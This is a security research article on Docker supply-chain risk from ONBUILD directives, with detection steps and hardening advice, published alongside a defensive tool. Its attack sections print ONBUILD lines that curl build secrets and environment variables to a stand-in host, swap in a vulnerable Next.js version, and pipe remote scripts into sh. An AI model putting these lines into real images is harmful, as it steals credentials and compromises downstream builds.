This article will also cover how to detect malicious behaviour in ONBUILD directives, and how to guard against them.
Alongside this article we're also launching Onbuild Guardian, a free and open source command-line tool to aid defenders in mitigating the risk posed by ONBUILD. Onbuild Guardian can be found here: https://github.com/O3-Cyber/onbuild-guardian.
Full POC code is also available in this repo:
https://github.com/O3-Cyber/onbuild-supplychain-attack-poc
Intro, and a brief primer on docker build
In docker, when we're talking about the supply chain, we're talking about the chain of images, from an upstream base image -> to any intermediary images -> to your downstream build and Dockerfile.
Each one of these upstream images are built ahead of time. When you run docker build -t <your-image> ., docker fetches the stated version of each image in each FROM statement. So FROM alpine:3.12 will fetch the already built alpine:3.12 image from the registry. This means that any normal RUN/CP/WORKDIR or other directive that's in their dockerfiles were only used in their builds.
At each build, there's a separate set of files and directories available to that build. This collection of files is known as the build context. So the alpine image was built with the files and directories on their build servers, your image gets built with the ones in yours, and these are two separate build contexts
So a normal RUN in an upstream image gets executed as part of the upstream build, with its own build context. But if an upstream image has specified an ONBUILD directive, that gets inserted into your build. With all the same privileges and accesses as your own commands in your dockerfile, and with your build context.
This presents a significant supply chain risk, and the risk is not widely discussed in the security community
What is ONBUILD?
ONBUILD is a directive that lets upstream images inject build instructions into downstream image builds. This is meant to help maintainers automate work that all consumers would have to repeat in their own build processes. This is work like installing dependencies, for example:
The way ONBUILD works is that it injects commands right after the FROM that imports the image.
So imagine an ONBUILD RUN command in a base image like so:
# base image Dockerfile
FROM alpine
ONBUILD RUN echo hello from base # gets injected in the final image at build-time
RUN ... <regular directives are contained in the base image build> ...Let’s say the above gets built as `base-with-onbuild`, and a downstream image imports it. A dockerfile like this:
FROM base-with-onbuild
RUN npm installsilently becomes:
FROM base-with-onbuild
RUN echo hello from base # injected at build-time from base image, entirely invisible in your Dockerfile
RUN npm installThis silent injection into the build process presents a significant supply chain risk that's not well covered in the existing literature.
Attack Surface
ONBUILD directives run exactly like any directive in your dockerfile, with the same access and capabilities.
This means that environment variables, secret mounts, application code, build outputs, the full build context, all of it is available to ONBUILD.
Lets explore how an ONBUILD directive may abuse this access across different attack scenarios:
Secret, build-arg, and environment variable extraction
Build output tampering
Source code exposure
Remote control of build
Attack Vector 1: Build Secret and Argument Extraction
One of Docker's great features is its build-secret protection. When you mount a secret into the build, it's only reachable by commands that have the --mount=type=secret,id=<secret-id> prefix. This helps developers ensure that only the commands they choose have access to the secret.
So for example:
RUN --mount=type=secret,id=npm_token,env=NPM_TOKEN npm install
would accept a secret passed like so:MY_NPM_TOKEN=... docker build -t my-node-image . --secret=npm_token,env=MY_NPM_TOKEN
This would make it so that the npm install command gets its required credentials, but a bare RUN npm install would not.
However, this security model gets undermined by ONBUILD.
We could for example create an instruction like:
ONBUILD RUN --mount=type=secret,id=npm_token curl https://remote-server.fake/secret-grabber?secret=npm_token&value=$(cat /run/secrets/npm_token) || exit 0
Note: this assumes that we already know the name of the secret id. But, many will be fairly predictable names, and we can chain multiple of these commands and try different variations: npmtoken, npm-token, token-npm, etc. We can also try for several different secrets, like so:
ONBUILD RUN --mount=type=secret,id=GIT_AUTH_TOKEN \
--mount=type=secret,id=npm_token \
--mount=type=secret,id=db_password \
--mount=type=secret,id=github_token \
[ -f /run/secrets/GIT_AUTH_TOKEN ] && curl https://remote-server.fake/secret-grabber?secret=GIT_AUTH_TOKEN&value=$(cat /run/secrets/GIT_AUTH_TOKEN);
[ -f /run/secrets/npm_token ] && curl https://remote-server.fake/secret-grabber?secret=npm_token&value=$(cat /run/secrets/npm_token);
[ -f /run/secrets/db_password ] && curl https://remote-server.fake/secret-grabber?secret=db_password&value=$(cat /run/secrets/db_password);
[ -f /run/secrets/github_token ] && curl https://remote-server.fake/secret-grabber?secret=github_token&value=$(cat /run/secrets/github_token); \
exit 0If the secret does not exist, the RUN would normally fail, causing the build to fail, which calls attention to the extraction. Therefore, we throw an exit 0 at the end to make sure we always allow the build to proceed.
A note on build args and env-vars: If we add the following step, we will get all env-vars and build arguments.
ONBUILD RUN curl https://remote-server.fake/secret-grabber?secret=env&value=$(base64 <$(env) | tr -d '\n') || exit 0
These are not protected at all, and for that reason you should always inject any sensitive value via secret mounts.
Attack Vector 2: Build Output and Dependency tampering
Since we have access to read and write to the build context, we can replace safe dependencies with known-vulnerable dependencies. For example, the below ONBUILD RUN would make any downstream NextJS build produce an artifact that contains CVE-2025-29927.
ONBUILD RUN rm -rf package-lock.json && jq <package.json '.dependencies.next = "15.2.2"' > package.json && npm install || exit 0
The above command first removes the lockfiles, so that there's no check that the expected version of Next gets loaded. Then, it edits the package.json to point to a compromised version. After that, it installs the node dependencies. This will also regenerate the package-lock.json file, with the malicious version hashes pinned, so that later install steps will pass.
Attack Vector 3: Remote code execution
A common installation pattern is to curl a URL, then pipe the install script straight to a shell, like so (borrowed from the docs of the otherwise stellar NixOS project) sh <(curl --proto '=https' --tlsv1.2 -L https://nixos.org/nix/install).
What's happening here is that curl is loading a shell script, and then we're immediately executing it. This means that if the URL points to a server controlled by a threat actor, this becomes a remote code execution threat in your build process. From this point onward, the threat actor can completely own your build.
So a statement like ONBUILD RUN curl <url> | sh or sh <$(curl <url>) in an upstream image has the potential to spell doom for your build's integrity and security.
Detection
Fortunately, the docker manifest tells us if there are ONBUILD instructions being passed down from the parent.
If you take the parent image, and run docker pull <parent-image> && docker inspect <parent-image> --format = '{{json.Config.OnBuild}}', this will reveal if there are any ONBUILD directives in the image. It's imperative that these instructions get reviewed before you build your container in a privileged setting.
Mitigations and Recommendations
Audit ONBUILD instructions
Always audit any new upstream image for ONBUILD instructions. This includes version bumps. Pay special attention to if any of the steps:
mount a secret
make network calls
pipes command output into sh/bash
modify the build context
Of course, some ONBUILD directives may be entirely benign. That's why we built Onbuild Guardian, a free and open source tool that lets you check the ONBUILD instructions against an allow list. It's being released alongside this article. You can find it here: https://github.com/O3-Cyber/onbuild-guardian.
Pin images to their sha256 digests
A solid line of defense for any docker build hardening is to pin upstream images to their sha256 digests. So you move from alpine:3.12, to alpine:3.12@sha256:c75ac27b49326926b803b9ed43bf088bc220d22556de1bc5f72d742c91398f69
Tags on docker images are mutable, meaning that they can be made to point to other images later on. Pinning them to the sha adds a cryptographic guarantee that the image has not changed since the hash was computed. This will also help you catch if ONBUILD instructions are snuck into the image at a later time.
You can get an image’s sha256 hash by running:
docker inspect <image> --format '{{json .Descriptor.digest}}'
Avoid passing secrets in ENV and ARG, or via the build-context
While ONBUILD does have the capability to extract secret mounts, it takes significant guesswork on the behalf of the threat actor, and is easily spotted in audit. If secrets are present in the build context (as in a .env file), or passed as ENV or ARGs, they’re trivially extractable, and it’s much harder to spot if and when they’re read by a malicious process.
So even though it’s not perfect, you should always use a secret mount.
Use minimal images
Smaller images are easier to audit, and less prone to being exposed via vulnerable packages. This makes them ideal security wise, including when auditing for malicious ONBUILD directives.